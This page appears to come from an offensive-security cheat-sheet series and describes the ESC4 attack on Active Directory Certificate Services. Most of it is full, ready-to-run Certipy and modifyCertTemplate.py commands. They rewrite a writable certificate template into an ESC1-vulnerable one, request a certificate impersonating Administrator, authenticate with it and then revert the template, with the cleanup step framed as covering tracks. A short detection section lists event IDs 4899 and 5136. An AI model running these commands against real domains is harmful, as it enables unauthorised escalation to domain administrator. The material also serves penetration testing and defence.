AD ^: Active Directory

Attack #30 — ESC4 Template Write Permissions

ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a…

advanced updated 2026-08-10 Certipy

🟢 Attack #30 — ESC4: Template Write Permissions


📖 How It Works

ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a template object, they can modify that template’s configuration to make it vulnerable to ESC1 — enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag, adding Client Authentication EKU, and removing approval requirements. Once modified, the attacker enrolls using the now-vulnerable template to get a certificate for any user.

The Attack Flow

1. Find a template where you have write permissions
2. Modify the template:
   - Enable ENROLLEE_SUPPLIES_SUBJECT (allows SAN specification)
   - Set EKU to Client Authentication
   - Disable Manager Approval
   - Disable Authorized Signatures
3. Request certificate with SAN = Administrator
4. Authenticate as Administrator
5. Revert template changes (cleanup)

⚙️ Prerequisites

RequirementDetail
Write permissions on templateWriteProperty, WriteDACL, WriteOwner, or FullControl
Enrollment rightsMust also be able to enroll for the template

💻 Full Commands

🔵 Enumerate Writable Templates

# ── Certipy ───────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC4 — template ACL allows modification

# ── modifyCertTemplate.py ─────────────────────────────────────────────────────
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate -get-acl

🔴 Modify Template → Convert to ESC1

# ── Certipy — modify template to be ESC1-vulnerable ──────────────────────────
# Save current config first:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -save-old -dc-ip 10.10.10.10

# Modify to ESC1:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 \
  -configuration ESC1

# ── Alternative: modifyCertTemplate.py ────────────────────────────────────────
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate \
  -add enrollee_supplies_subject \
  -add client_authentication

🔴 Exploit as ESC1

# ── Request certificate with SAN = Administrator ─────────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.10.10

# ── Authenticate ──────────────────────────────────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

🔴 Cleanup — Revert Template

# ── Restore original template configuration ───────────────────────────────────
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 -configuration VulnTemplate.json

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4899Security Log (CA)Certificate template modification
5136Security Log (DC)AD object modification (template object in CN=Certificate Templates)

🔗 Attack Chain Context

[ESC4] ──→ Write access on template → convert to ESC1 → domain compromise

         ├──→ 🔗 Converts any writable template into ESC1
         ├──→ 📋 Always revert changes after exploitation
         └──→ 💀 Defeated by: restrict template ACLs, monitor 4899/5136

Attack #30 — ESC4 complete.